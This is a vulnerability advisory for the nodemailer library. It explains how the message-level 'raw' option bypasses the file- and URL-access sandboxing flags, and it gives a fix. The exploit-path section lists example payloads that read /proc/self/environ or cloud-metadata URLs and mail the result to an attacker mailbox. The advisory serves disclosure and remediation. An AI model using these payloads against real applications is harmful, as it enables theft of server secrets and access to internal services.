CVE-2026-82659

# Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message - **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`) - **Verdict:** CONFIRMED (local PoC, no network) ## Summary Nodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes **untrusted** message data to the library can forbid that data from reading local files or fetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent` content node honors these flags. **The message-level `raw` option does not.** `MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href: 'http://169.254.169.254/…' }` message is read / fetched anyway, and the file or HTTP-response bytes become the **actual message that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose input the application intended to sandbox therefore obtains arbitrary local-file disclosure and a full-response SSRF primitive, delivered to a recipient the same actor can choose. This is the same vulnerability class as the already-published jsonTransport advisory **GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas this affects the delivered RFC822 message for all transports. ## Affected component - `lib/mail-composer/index.js:34-35` — root cause: ```js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw); } ``` The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode` (`lib/mail-composer/index.js:389-527`), which all pass `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`. - `lib/mime-node/index.js:51-52` — the constructor derives `this.disableFileAccess`/ `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent's flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim). - `lib/mime-node/index.js:812` — `setRaw()` content is resolved through `this._getStream(this._raw)`. - `lib/mime-node/index.js:984-1010` — `_getStream` reads the file (`fs.createReadStream`, 995) or fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**, which on the `raw` root node are `false`. - Reached from the normal send flow at `lib/mailer/index.js:188` (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected. ## Reachability gate (hop-by-hop) 1. **Source.** Application calls `transporter.sendMail({ raw: <userControlled> , to: <userControlled> })` with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted. 2. **Guard — the access flags.** For attachments the flag is enforced: a node created by `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`. **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped. There is no other validation between `mail.raw` and the read; `raw` content shapes (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`. 3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or `nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as the message body by `createReadStream()`, which every transport pipes to its destination (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`, `stream-transport:67`). No guard blocks the chain; the only guard (the access flags) is structurally absent on this node. ## Root cause Inconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and must be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it, while all five other node builders include it. The flags are therefore enforced for every content type *except* the one that lets the caller supply a complete message body by path/URL. ## Exploit path Application that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set): 1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or any server file: `/app/.env`, key material, etc.) and `to: attacker@evil.test`. 2. `compile()` builds the raw root node without the flags; the transport reads the file and sends its contents as the message → **arbitrary server-file exfiltration to an attacker-chosen mailbox.** 3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → **full-response SSRF** (no blind-channel limitation). ## Impact - **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message. - **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail. - The two protective flags an application relies on to contain untrusted input are silently ineffective for `raw`. ## Preconditions The application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing flags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`). No other configuration is required; all bundled transports are affected. This mirrors the accepted precondition of GHSA-wqvq-jvpq-h66f. ## Severity - **AV** — message data routinely originates over the network in the apps these flags protect. - **AC** — a single crafted `raw` object; deterministic. - **PR** — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment. - **UI** — no victim interaction. - **S** — impact within Nodemailer's process scope. - **C** — arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.) - **I** — attacker injects fetched/file bytes into the outgoing message. - **A**. Note: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case where `raw` and `to` are both untrusted. ## Adversarial re-read (attempts to refute) 1. **"`raw` content is by-design trusted, so the flags shouldn't apply."** Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment `{path}` is blocked but `raw:{path}` is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file. 2. **"The raw node inherits the flags via rootNode."** Rejected by code and by PoC: `compile():35` constructs the node with `{ newline }` only; `MimeNode` constructor sets `this.disableFileAccess = !!options.disableFileAccess` → `false`; `rootNode` is itself; no inheritance exists. 3. **"The PoC leaks for an unrelated reason."** Rejected: the CONTROL message (`attachments:[{path}]`, same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass. 4. **"Maybe only jsonTransport (already reported) is affected."** Rejected: the PoC uses `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all transports; jsonTransport is a different (already-fixed) path. I could not find any guard that blocks the chain; the finding survives. ## Proof of concept (safe, benign) `findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only), no destructive action. Output: ``` [CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here [ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message [ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF) VERDICT: CONFIRMED ``` Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed). ## Remediation Thread the access policy onto the `raw` root node, exactly as the other builders do: ```js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline, disableFileAccess: this.mail.disableFileAccess, disableUrlAccess: this.mail.disableUrlAccess }).setRaw(this.mail.raw); } ``` (Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either flag is set, regardless of how the node was constructed.) Add a regression test asserting that `raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring the attachment tests.